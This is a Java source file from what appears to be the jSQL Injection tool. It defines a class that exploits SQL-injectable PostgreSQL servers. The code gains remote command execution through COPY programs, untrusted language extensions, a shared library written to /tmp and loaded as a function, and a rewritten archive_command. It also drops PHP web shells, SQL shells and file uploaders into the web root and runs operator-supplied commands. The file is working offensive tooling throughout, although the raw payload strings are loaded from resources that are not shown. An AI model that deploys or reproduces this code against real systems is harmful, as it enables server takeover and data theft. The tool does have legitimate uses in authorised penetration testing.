ExploitPostgres.java
package com.jsql.model.accessible.vendor;
import com.jsql.model.InjectionModel;
import com.jsql.model.accessible.DataAccess;
import com.jsql.model.accessible.ResourceAccess;
import com.jsql.model.accessible.vendor.postgres.ModelYamlPostgres;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.exception.JSqlRuntimeException;
import com.jsql.model.injection.vendor.model.VendorYaml;
import com.jsql.util.LogLevelUtil;
import com.jsql.util.StringUtil;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.yaml.snakeyaml.Yaml;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.http.HttpResponse;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.UUID;
import java.util.function.BinaryOperator;
public class ExploitPostgres {
/**
* Log4j logger sent to view.
*/
private static final Logger LOGGER = LogManager.getRootLogger();
private final InjectionModel injectionModel;
private String nameExtension = StringUtils.EMPTY;
private final ModelYamlPostgres modelYaml;
public ExploitPostgres(InjectionModel injectionModel) {
this.injectionModel = injectionModel;
var yaml = new Yaml();
this.modelYaml = yaml.loadAs(
injectionModel.getMediatorVendor().getPostgres().instance().getModelYaml().getResource().getExploit(),
ModelYamlPostgres.class
);
}
public void createUdf(String nameExtension) throws JSqlException {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
if (StringUtils.isNotEmpty(nameExtension)) {
this.nameExtension = this.createExtension(nameExtension);
} else if (!this.isRceDetected()) {
return;
}
this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
String plCreateBasicExtension = this.getCreateBasicExtension();
if (plCreateBasicExtension != null) {
this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
} else if (this.nameExtension.startsWith("sql")) {
this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
var result = this.injectionModel.getResourceAccess().getResult(
String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
ResourceAccess.BODY_CONFIRM
);
if (!"1337".equals(result)) {
return;
}
}
var functions = this.injectionModel.getResourceAccess().getResult(
this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
ResourceAccess.BODY_CONFIRM
);
if (!functions.contains("exec_cmd")) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
return;
}
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_EXTENSION_POSTGRES);
request.setParameters(null, null);
this.injectionModel.sendToViews(request);
}
private String getCreateBasicExtension() {
String plCreateExtension = null;
if (this.nameExtension.startsWith("plpython")) {
plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
} else if (this.nameExtension.startsWith("plperl")) {
plCreateExtension = this.modelYaml.getUdf().getPlperl();
} else if (this.nameExtension.startsWith("pltcl")) {
plCreateExtension = this.modelYaml.getUdf().getPltcl();
} else if (this.nameExtension.startsWith("plr")) {
plCreateExtension = this.modelYaml.getUdf().getPlr();
} else if (this.nameExtension.startsWith("pllua")) {
plCreateExtension = this.modelYaml.getUdf().getPllua();
} else if (this.nameExtension.startsWith("plsh")) {
plCreateExtension = this.modelYaml.getUdf().getPlsh();
}
return plCreateExtension;
}
private boolean isRceDetected() throws JSqlException {
// Archive checked last as asynchronous with delay
return this.checkRceProgram() || this.checkRceExtension() || this.checkRceLibrary() || this.checkRceArchive();
}
private boolean checkRceProgram() {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
nameTempTable
), ResourceAccess.TBL_CREATE);
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getProgram().getRun(),
nameTempTable,
ResourceAccess.WEB_CONFIRM_CMD
), ResourceAccess.TBL_FILL);
var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getUdf().getProgram().getGetResult(),
nameTempTable
), ResourceAccess.TBL_READ);
if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_PROGRAM_POSTGRES);
request.setParameters(null, null);
this.injectionModel.sendToViews(request);
return true;
}
return false;
}
private boolean checkRceExtension() throws JSqlException {
this.nameExtension = StringUtils.EMPTY;
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
if (StringUtils.isEmpty(this.nameExtension)) {
this.nameExtension = this.createExtension(ext);
}
}
if (StringUtils.isEmpty(this.nameExtension)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
return true;
}
return false;
}
public boolean checkRceLibrary() throws JSqlException {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getUdf().getLibrary().getLoFromText(),
String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
), ResourceAccess.ADD_LOID);
if (StringUtils.isEmpty(loid)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
return false;
}
var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getUdf().getLibrary().getLoToFile(),
loid,
"/tmp/" + nameExploit
), ResourceAccess.WRITE_LOID);
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getLibrary().getCreateFunction(),
"/tmp/" + nameExploit
), ResourceAccess.ADD_FUNC);
String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getUdf().getLibrary().getRunFunc(),
ResourceAccess.WEB_CONFIRM_CMD + "%20"
), "confirm");
if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
return false;
}
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_LIBRARY_POSTGRES);
request.setParameters(null, null);
this.injectionModel.sendToViews(request);
return true;
}
private boolean checkRceArchive() throws JSqlException {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_WAL_POSTGRES);
request.setParameters(null, null);
this.injectionModel.sendToViews(request);
return true;
}
return false;
}
private static List<String> toHexChunks(String filename) throws JSqlException {
try {
byte[] fileData = Objects.requireNonNull( // getResource > toURI > toPath > readAllBytes() not possible in .jar
ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
).readAllBytes();
return StringUtil.toHexChunks(fileData);
} catch (IOException e) {
throw new JSqlException(e);
}
}
public String runRceLibraryCmd(String command, UUID uuidShell) {
String result;
try {
result = this.injectionModel.getResourceAccess().getResult(String.format(
this.modelYaml.getUdf().getLibrary().getRunFunc(),
command.replace(StringUtils.SPACE, "%20") + "%20"
), ResourceAccess.RUN_FUNC);
} catch (JSqlException e) {
result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
}
var request = new Request();
request.setMessage(Interaction.GET_TERMINAL_RESULT);
request.setParameters(uuidShell, result.trim() +"\n"); // missing newline on some extensions
this.injectionModel.sendToViews(request);
return result;
}
private String runArchive(String command) throws JSqlException {
boolean isSetup = command == null;
String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
if (isSetup && !status.contains("on")) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
return StringUtils.EMPTY;
}
String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
this.modelYaml.getUdf().getArchive().getGetConfLoid(),
pathConf
), "conf#loid");
String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
this.modelYaml.getUdf().getArchive().getGetConfLength(),
loidConf
), "conf#size");
this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getUdf().getArchive().getPutCmd(),
loidConf,
lengthConf,
isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command
), "conf#append");
this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
loidConf,
pathConf
), "conf#write");
this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
if (isSetup && !cmdArchive.contains("/tmp/cmd.txt")) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
return StringUtils.EMPTY;
}
this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
try {
Thread.sleep(750); // wait for result as archiving is slow
} catch (InterruptedException e) {
LOGGER.log(LogLevelUtil.IGNORE, e, e);
Thread.currentThread().interrupt();
}
String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getGetResult(), "result#loid");
String result = this.injectionModel.getResourceAccess().getResult(String.format(
this.modelYaml.getFile().getRead().getLargeObject().getToText(),
loidResult
), "result#read");
if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
return StringUtils.EMPTY;
}
return result;
}
private String createExtension(String nameExtension) throws JSqlException {
LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension {}", nameExtension);
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getExtension().getCreate(),
nameExtension
), "body#add-ext");
String languages = this.injectionModel.getResourceAccess().getResult(
this.modelYaml.getUdf().getExtension().getLanguages(),
"body#confirm-ext"
);
if (languages.contains(nameExtension)) {
return nameExtension;
}
return StringUtils.EMPTY;
}
public String runRceArchiveCmd(String command, UUID uuidShell) {
String result;
try {
result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
} catch (JSqlException e) {
result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
}
var request = new Request();
request.setMessage(Interaction.GET_TERMINAL_RESULT);
request.setParameters(uuidShell, result.trim() +"\n"); // missing newline on some extensions
this.injectionModel.sendToViews(request);
return result;
}
public String runRceProgramCmd(String command, UUID uuidShell) {
String result;
try {
var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
nameTempTable
), ResourceAccess.TBL_CREATE);
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getProgram().getRun(),
nameTempTable,
command.replace(StringUtils.SPACE, "%20") +"%20"
), ResourceAccess.TBL_FILL);
result = this.injectionModel.getResourceAccess().getResult(String.format(
this.modelYaml.getUdf().getProgram().getGetResult(),
nameTempTable
), ResourceAccess.TBL_READ);
} catch (JSqlException e) {
result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
}
var request = new Request();
request.setMessage(Interaction.GET_TERMINAL_RESULT);
request.setParameters(uuidShell, result.trim() +"\n"); // missing newline on some extensions
this.injectionModel.sendToViews(request);
return result;
}
public String runRceExtensionCmd(String command, UUID uuidShell) {
String result;
try {
if ("sql".equals(this.nameExtension)) {
this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getUdf().getSql().getRunFunc(),
command.replace(StringUtils.SPACE, "%20")
), ResourceAccess.ADD_FUNC);
this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
result = this.injectionModel.getResourceAccess().getResult(String.format(
this.modelYaml.getUdf().getSql().getResultCmd(),
VendorYaml.TRAIL_SQL
), "body#result") +"\n";
} else {
result = this.injectionModel.getResourceAccess().getResult(
String.format(
this.modelYaml.getUdf().getRunFunc(),
command.replace(StringUtils.SPACE, "%20"), // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
VendorYaml.TRAIL_SQL
),
ResourceAccess.UDF_RUN_CMD
);
}
} catch (JSqlException e) {
result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
}
var request = new Request();
request.setMessage(Interaction.GET_TERMINAL_RESULT);
request.setParameters(uuidShell, result.trim() +"\n"); // missing newline on some extensions
this.injectionModel.sendToViews(request);
return result;
}
public void createWeb(String pathExploit, String urlExploit) {
String bodyExploit = StringUtil.base64Decode(
this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
)
.replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
.replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
bodyExploit.replace("'", "\"")
), ResourceAccess.ADD_LOID);
if (StringUtils.isEmpty(loid)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
return;
}
var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
loid,
pathExploit + nameExploit
), ResourceAccess.WRITE_LOID);
BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
String result = this.injectionModel.getResourceAccess().callCommand(
urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
);
if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
return StringUtils.EMPTY;
}
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
request.setParameters(urlSuccess);
this.injectionModel.sendToViews(request);
return urlSuccess;
};
this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
}
public String createSql(String pathExploit, String urlExploit, String username, String password) {
BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
ResourceAccess.SQL_CONFIRM_CMD,
null,
urlSuccess,
username,
password,
false
);
if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
request.setParameters(urlSuccess, username, password);
this.injectionModel.sendToViews(request);
return urlSuccess;
}
return StringUtils.EMPTY;
};
String bodyExploit = StringUtil.base64Decode(
this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty("exploit.sql.pdo.pgsql")
)
.replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
.replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
bodyExploit.replace("'", "\"")
), ResourceAccess.ADD_LOID);
if (StringUtils.isEmpty(loid)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
return StringUtils.EMPTY;
}
var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
loid,
pathExploit + nameExploit
), ResourceAccess.WRITE_LOID);
return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
}
public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
String bodyExploit = StringUtil.base64Decode(
this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
)
.replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
.replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
bodyExploit.replace("'", "\"")
), ResourceAccess.ADD_LOID);
if (StringUtils.isEmpty(loid)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
return;
}
var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
loid,
pathExploit + nameExploit
), ResourceAccess.WRITE_LOID);
BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
if (result.body().contains(DataAccess.LEAD +"y")) {
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
} else {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
}
} catch (InterruptedException e) {
LOGGER.log(LogLevelUtil.IGNORE, e, e);
Thread.currentThread().interrupt();
} catch (IOException | JSqlException e) {
throw new JSqlRuntimeException(e);
}
return urlSuccess;
};
this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
}
public ModelYamlPostgres getModelYaml() {
return this.modelYaml;
}
}